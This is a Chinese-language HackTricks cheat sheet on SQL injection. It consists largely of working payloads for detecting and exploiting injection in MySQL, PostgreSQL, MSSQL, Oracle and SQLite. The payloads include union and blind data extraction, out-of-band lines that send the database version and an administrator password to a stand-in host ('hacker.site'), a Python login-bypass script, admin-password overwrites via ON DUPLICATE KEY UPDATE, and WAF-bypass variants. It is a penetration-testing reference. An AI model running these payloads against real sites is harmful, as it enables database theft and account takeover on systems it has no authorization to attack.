# SQL Injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要看到您的**公司在HackTricks中宣传**吗？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​[**RootedCON**](https://www.rootedcon.com/)是西班牙最重要的网络安全活动之一，也是欧洲最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流地。

{% embed url="<https://www.rootedcon.com/>" %}

## 什么是SQL注入？

**SQL注入**是一种安全漏洞，允许攻击者干扰应用程序的数据库查询。这种漏洞可以使攻击者**查看**、**修改**或**删除**他们不应访问的数据，包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致对应用程序功能或内容的永久更改，甚至危及服务器或造成拒绝服务。

## 入口点检测

当网站由于对SQL注入（SQLi）相关输入的异常服务器响应而**易受攻击**时，**第一步**是了解如何**在不中断查询的情况下注入数据**。这需要有效地识别**从当前上下文中逃逸**的方法。 以下是一些有用的示例：

```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```

然后，您需要知道如何**修复查询以避免错误**。为了修复查询，您可以**输入**数据，使**先前的查询接受新数据**，或者您可以只是**输入**您的数据并**在末尾添加注释符号**。

*请注意，如果您可以看到错误消息或者可以发现查询在工作时和不工作时的差异，这个阶段将会更容易。*

### **注释**

```sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments
```

### 使用逻辑操作确认

确认 SQL 注入漏洞的可靠方法包括执行**逻辑操作**并观察预期结果。例如，当修改 GET 参数，如 `?username=Peter` 到 `?username=Peter' or '1'='1` 时产生相同内容，表明存在 SQL 注入漏洞。

同样，应用**数学操作**作为有效的确认技术。例如，如果访问 `?id=1` 和 `?id=2-1` 产生相同结果，则表明存在 SQL 注入。

演示逻辑操作确认的示例：

```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```

这个单词列表是为了尝试以提议的方式**确认SQL注入**而创建的：

{% file src="<https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-6efb4fbff581056c1fd31dbe5ccecd65356ecf51%2Fsqli-logic.txt?alt=media>" %}

### 使用时间确认

在某些情况下，您**不会注意到页面**上的任何变化。因此，发现盲目SQL注入的一个好方法是让数据库执行操作，这将**影响页面加载所需的时间**。\
因此，我们将在SQL查询中连接一个需要很长时间才能完成的操作：

```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```

在某些情况下，**sleep 函数可能不被允许**。因此，您可以使查询**执行复杂操作**，以便需要几秒钟的时间。*这些技术的示例将在每种技术中单独进行说明*。

### 识别后端

识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节中的**sleep 函数**或这些函数（来自[payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)中的表格：

```bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

此外，如果您可以访问查询的输出，您可以使其**打印数据库的版本**。

{% hint style="info" %}
接下来，我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。
{% endhint %}

### 使用PortSwigger进行识别

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

## 利用联合查询

### 检测列数

如果您可以看到查询的输出，这是利用它的最佳方法。\
首先，我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\
通常有两种方法用于此目的：

#### Order/Group by

为了确定查询中的列数，逐渐调整在**ORDER BY**或**GROUP BY**子句中使用的数字，直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能，但两者都可以用于确定查询的列数。

```sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
```

```sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
```

#### UNION SELECT

选择更多的空值，直到查询正确为止：

```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```

*在某些情况下，查询两侧列的类型必须相同，因此应使用`null`值。*

### 提取数据库名称、表名称和列名称

在下面的示例中，我们将检索所有数据库的名称、数据库的表名称以及表的列名称：

```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```

*在每个不同的数据库上发现这些数据的方法都不同，但方法论总是相同的。*

## 利用隐藏的基于联合的注入

当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入，需要识别后端执行查询。

这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了了解这些默认表，建议查阅目标DBMS的文档。

一旦查询被提取出来，就需要调整有效载荷以安全地关闭原始查询。随后，在有效载荷中附加一个联合查询，从而促进对新获得的基于联合的注入的利用。

要获取更全面的见解，请参考[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)上提供的完整文章。

## 利用基于错误的注入

如果由于某种原因您**无法**看到**查询**的**输出**，但可以**看到错误消息**，则可以利用这些错误消息从数据库中**提取**数据。\
按照与基于联合的利用相似的流程，您可以成功地转储数据库。

```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```

## 利用盲注入攻击

在这种情况下，您无法看到查询结果或错误，但您可以区分查询返回的是真还是假的响应，因为页面上的内容不同。\
在这种情况下，您可以利用这种行为逐个字符地转储数据库：

```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```

## 利用错误盲注 SQLi

这与之前的情况**相同**，但不再区分查询的真/假响应，而是可以区分SQL查询中是否存在**错误**（也许是因为HTTP服务器崩溃）。因此，在这种情况下，每次猜对一个字符时，您都可以强制引发一个 SQL 错误：

```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```

## 利用基于时间的 SQLi

在这种情况下，**无法**根据页面的上下文**区分**查询的响应。但是，如果猜测的字符正确，可以使页面**加载时间更长**。我们之前已经看到过这种技术的应用，用于[确认 SQLi 漏洞](#confirming-with-timing)。

```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```

## 堆叠查询

您可以使用堆叠查询来**连续执行多个查询**。请注意，尽管后续查询被执行，**结果**并**不会返回给应用程序**。因此，这种技术主要用于与**盲注漏洞**相关的情况，您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。

**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持：`在此处放置第一个查询; 在此处放置第二个查询`

## 带外利用

如果**没有其他**利用方法**奏效**，您可以尝试让数据库将信息**传输**到您控制的**外部主机**。例如，通过DNS查询：

```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```

### 通过XXE进行带外数据泄露

```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```

## 自动化利用

查看[SQLMap Cheetsheat](https://hacktricks.xsx.tw/pentesting-web/sql-injection/sqlmap)以使用[**sqlmap**](https://github.com/sqlmapproject/sqlmap)利用SQLi漏洞。

## 技术特定信息

我们已经讨论了利用SQL注入漏洞的所有方法。在本书中找到一些与数据库技术相关的更多技巧：

* [MS Access](https://hacktricks.xsx.tw/pentesting-web/sql-injection/ms-access-sql-injection)
* [MSSQL](https://hacktricks.xsx.tw/pentesting-web/sql-injection/mssql-injection)
* [MySQL](https://hacktricks.xsx.tw/pentesting-web/sql-injection/mysql-injection)
* [Oracle](https://hacktricks.xsx.tw/pentesting-web/sql-injection/oracle-injection)
* [PostgreSQL](https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection)

或者您可以在[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的**许多技巧**。

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​​[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的活动之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流平台。

{% embed url="<https://www.rootedcon.com/>" %}

## 身份验证绕过

尝试绕过登录功能的列表：

{% content-ref url="login-bypass/sql-login-bypass" %}
[sql-login-bypass](https://hacktricks.xsx.tw/pentesting-web/login-bypass/sql-login-bypass)
{% endcontent-ref %}

### 原始哈希身份验证绕过

```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

这个查询展示了在使用MD5进行原始输出验证时的一个漏洞，使系统容易受到SQL注入攻击。攻击者可以通过构造输入，使其在哈希后产生意外的SQL命令部分，从而实现未经授权的访问。

```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

### 注入哈希身份验证绕过

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

**推荐列表**：

您应该将列表中的每一行作为用户名，密码始终为：***Pass1234.***\
（这些有效载荷也包含在本节开头提到的大列表中）

{% file src="<https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5d65242a4e5a188dcefee6fb1d1657df9714d528%2Fsqli-hashbypass.txt?alt=media>" %}

### GBK身份验证绕过

如果 ' 被转义，您可以使用 %A8%27，当 ' 被转义时，将创建：0xA80x5c0x27 (*╘'*)

```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```

Python脚本：

```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```

### 多语言注入（多上下文）

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

## 插入语句

### 修改现有对象/用户的密码

要做到这一点，您应该尝试**创建一个名为"主对象"**（在用户情况下可能是**admin**）修改一些内容：

* 创建用户名为：**AdMIn**（大写和小写字母）
* 创建用户名为：**admin=**
* **SQL截断攻击**（当用户名或电子邮件中存在某种**长度限制**时）--> 创建用户名为：**admin \[很多空格] a**

#### SQL截断攻击

如果数据库存在漏洞，并且用户名的最大字符数为30，您想要冒充用户**admin**，尝试创建一个名为："*admin \[30个空格] a*"的用户名和任何密码。

数据库将**检查**是否在数据库中存在**输入的用户名**。如果**不存在**，它将**截断**用户名至**允许的最大字符数**（在本例中为："*admin \[25个空格]*"），然后将**自动删除所有末尾的空格**，更新数据库中的用户"**admin**"的**新密码**（可能会出现一些错误，但这并不意味着这没有起作用）。

更多信息：<https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html> & <https://resources.infosecinstitute.com/sql-truncation-attack/#gref>

*注意：在最新的MySQL安装中，此攻击将不再按上述描述的方式起作用。虽然比较仍然默认忽略尾随空格，但尝试插入长于字段长度的字符串将导致错误，插入将失败。有关此检查的更多信息，请参阅：*[*https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation*](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)

### MySQL插入基于时间的检查

在VALUES语句中添加尽可能多的`','',''`。如果延迟执行，则存在SQL注入。

```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```

### ON DUPLICATE KEY UPDATE

MySQL中的`ON DUPLICATE KEY UPDATE`子句用于指定数据库在尝试插入导致在UNIQUE索引或PRIMARY KEY中出现重复值的行时应采取的操作。以下示例演示了如何利用此功能来修改管理员帐户的密码：

注入示例负载：

可以制作如下注入负载，尝试将两行插入`users`表中。第一行是诱饵，第二行针对现有管理员的电子邮件，意图是更新密码：

```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```

这是它的工作原理：

* 查询尝试插入两行数据：一个是`generic_user@example.com`，另一个是`admin_generic@example.com`。
* 如果`admin_generic@example.com`的行已经存在，则`ON DUPLICATE KEY UPDATE`子句会触发，指示MySQL将现有行的`password`字段更新为"bcrypt\_hash\_of\_newpassword"。
* 因此，随后可以尝试使用`admin_generic@example.com`进行身份验证，密码对应于bcrypt哈希（"bcrypt\_hash\_of\_newpassword"代表新密码的bcrypt哈希，应该用所需密码的实际哈希替换）。

### 提取信息

#### 同时创建2个帐户

当尝试创建新用户和用户名时，需要密码和电子邮件：

```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```

#### 使用十进制或十六进制

通过这种技术，您可以仅创建一个帐户来提取信息。重要的是要注意，您不需要添加任何注释。

使用**hex2dec**和**substr**：

```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```

要获取文本，您可以使用：

```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```

使用**hex**和**replace**（以及**substr**）：

```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```

​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。以**促进技术知识**为使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

## Routed SQL注入

Routed SQL注入是一种情况，其中可注入的查询不是产生输出的查询，而是可注入查询的输出进入产生输出的查询。([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))

示例:

```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```

## WAF绕过

[从这里开始的初始绕过](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)

### 无空格绕过

无空格 (%20) - 使用空格替代方案绕过

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

### No Whitespace - 通过使用注释绕过

在某些情况下，您可能会遇到无法在注入点使用空格的限制。在这种情况下，您可以尝试使用注释来绕过此限制。您可以在SQL语句中使用注释来替代空格，以确保语句仍然有效。

```sql
?id=1/*comment*/and/**/1=1/**/--
```

### 无空格 - 使用括号绕过

在某些情况下，您可能无法在注入点使用空格。在这种情况下，您可以尝试使用括号来绕过此限制。

```sql
?id=(1)and(1)=(1)--
```

### 无逗号绕过

使用 OFFSET、FROM 和 JOIN 绕过逗号。

```
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### 通用绕过方法

黑名单关键字 - 使用大写/小写绕过

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

使用关键字黑名单不区分大小写 - 通过使用等效运算符绕过

```
AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```

### 科学计数法 WAF 绕过

您可以在[gosecure博客](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)中找到关于这一技巧的更深入解释。\
基本上，您可以以意想不到的方式使用科学计数法来绕过 WAF：

```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```

### 绕过列名限制

首先要注意，如果**原始查询和你想从中提取标志的表具有相同数量的列**，你可以简单地执行：`0 UNION SELECT * FROM flag`

可以**访问表的第三列而无需使用其名称**，使用以下查询：`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`，因此在SQL注入中会是这样的形式：

```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```

或者使用**逗号绕过**：

```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```

这个技巧来自<https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/>

### WAF绕过建议工具

{% embed url="<https://github.com/m4ll0k/Atlas>" %}

## 其他指南

* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>

## 暴力检测列表

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt>" %}

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 你在**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**]\(<https://discord.gg/hRep4RUj7f>) 或**电报群**]\(<https://t.me/peass>) 或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>
